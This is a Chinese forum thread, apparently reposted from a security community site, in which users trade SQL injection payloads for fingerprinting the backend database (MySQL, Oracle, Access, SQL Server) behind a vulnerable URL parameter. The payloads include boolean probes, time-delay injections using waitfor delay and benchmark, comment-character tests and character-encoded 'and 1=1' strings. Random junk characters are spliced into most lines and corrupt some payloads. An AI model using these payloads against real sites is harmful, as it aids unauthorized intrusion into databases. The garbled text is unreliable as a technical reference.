找回密码
 立即注册
查看: 2603|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
0 `6 J* S' u# A! Xxsser (十根阳具有长短!!) | 2013-02-05 12:36
, ]) m3 @0 M/ r5 c" W0 }5 t假设这么一个注射点:" c/ k/ p5 X2 W8 m, S4 S
show.html?id=2
* u9 s8 _$ [7 u" x/ cmysql:id=2 and version()>02 L7 m* `$ `7 i+ E. W$ ]
oracle:id=2 and '1'||'1'='11: i; a& v- n0 U0 |0 T( P& W
其他的欢迎补充
$ J9 M# P* c8 }+ ]0 I% K* t1#. [+ o, S# `* V) ~
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47/ i$ C( `% I: B. _
Access:
' Q7 ^; K0 r$ Z* X( b, jaNd aSc(cHr(97))=979 W+ B1 Y% F$ V7 g
and exists(select id from MSysAccessObjects)
* u7 X0 q; I6 W7 n/ p4 wSQL Server:
* G$ K+ z3 k% ~  {6 Yand exists(select id from sysobjects)
. N3 _) g# R2 A  oand length(user)>03 H% \5 N/ v+ c! T* O/ O+ A; f$ n
MySQL:+ k+ R, C: u& S( W
and length(user())>0! I: u) I5 E1 ]7 V( Q! K
2#
" M9 q3 o& V1 U, R5 U0 a1 @xsser (十根阳具有长短!!) | 2013-02-05 12:48
; M7 z  Z: ?7 L: ]: a, I- q3 f@upload 如果这些都不是呢…$ _- b, \( Q# W
3#1 |) P$ Q0 f3 b- A. x. B+ ?, j: d
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:034 K6 [7 z% t0 ]  E( J0 Q$ {7 E
@xsser 不快速的,延时注入
/ a: u! J) v6 J7 H/ ?不知道这样写对不对
" ?* f1 q6 h8 p9 u0 Xmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'; E" P0 @# P; E# U0 K9 }$ t
mysql:id=2 and select benchmark(1e8,current_date());
  v# o8 h/ b! y8 Y2 }+ T) L4#% |7 @/ w$ I- m. o/ _7 W/ L
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:100 t! ?& f$ ]' J- d; [
最快的貌似是看报错信息
( [& H4 F( k' Toracle error
5 w. w4 b4 K! x1 ~  h2 a1 cmssql error
' a9 b& x1 r, i. V5 N9 Rmysql error
! q5 G$ e' n1 @! r# [5#
- y, H/ B2 g/ X% c. aNimda (你们都是坏银~) | 2013-02-05 13:14
, J% E9 T3 F1 S7 ?0 [小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
- F1 Q1 A2 O) r) |8 l7 S6#3 V) H; e" @$ M, ~
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21" R2 r# b! M: x8 }- K
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
- m& O8 Y4 g6 l  ^9 X8 H4 O6 b“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
! r9 Y' I5 y' W5 l“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。4 Y5 Y) r: }/ [0 w1 B7 s
7#  H+ h/ l. X% Q+ t4 k% t8 {
_Evil (HackEnd) | 2013-02-05 13:33% K0 E( A! z  l5 y. S' n: N' v
PostgreSQL
- N8 k( C4 m! E: D8#8 p4 W0 W( ^2 Y' @. f1 W
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
! K# }' m- P3 H( i: Z" X# P( e切换编码 and 1=1
; r6 R3 v  Q+ \8 [  p  {oracle:+ z5 M8 b4 n4 l& X  y7 u( K
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
2 V- }* h/ g- X  Y4 f! Vmssql:  j6 \3 w/ F' {% O9 s) |! F
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)2 H4 E4 G% \2 _
mysql:+ ]6 b* Y- e" h/ w& B& g
CHAR(97, 110, 100, 32, 49, 61, 49). m3 {# h0 q$ S& v, s
9#! }  f9 ]# v6 N1 r/ n7 d3 Y
xsser (十根阳具有长短!!) | 2013-02-05 14:31* h1 m  u$ |: b+ \: S/ V) H$ [5 `: f
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
9 {3 }# c7 y6 s% Y10#
7 o- D( O0 a' j9 ]( D  Oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
. T# Y! d8 Y8 S8 m) Z" @, c2 z@xsser 是奇葩数据库类型的么?! y$ m- T1 i9 g4 v# X
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:& ^  W* y+ s$ Q, n; v# G
1.是否可以使用特定的函数来判断,该数据库特有的
1 W4 Q( t8 X. M2 s5 k2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
: n/ s% c2 P+ K* T. @; `# |3.是否可以编码查询
1 z' S5 z) p( B" \0 {4.是否显可以利用错信息
" _3 Q! w3 S& M$ d4 S% ?5.是否存在数据库某些特性辅助判断! v0 |/ b" T5 R* a- ]" z) S; A
个人见解# H* i' O% ~- c* ]
11## `9 O* M9 {' J# u  L
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:551 v% X, A1 f$ F$ k6 L* B. z4 X
已收藏,mssql可以直接看到错误提示的吧~
1 [9 t% y! D7 d12#& B4 ~9 ?; A, ?
Passer_by | 2013-02-05 15:09
9 D" z& R# y2 {1 K8 }/ I9 T6 ?' F/ z4 r* `曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。# n# f1 V3 x5 T0 r5 b# b& `
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表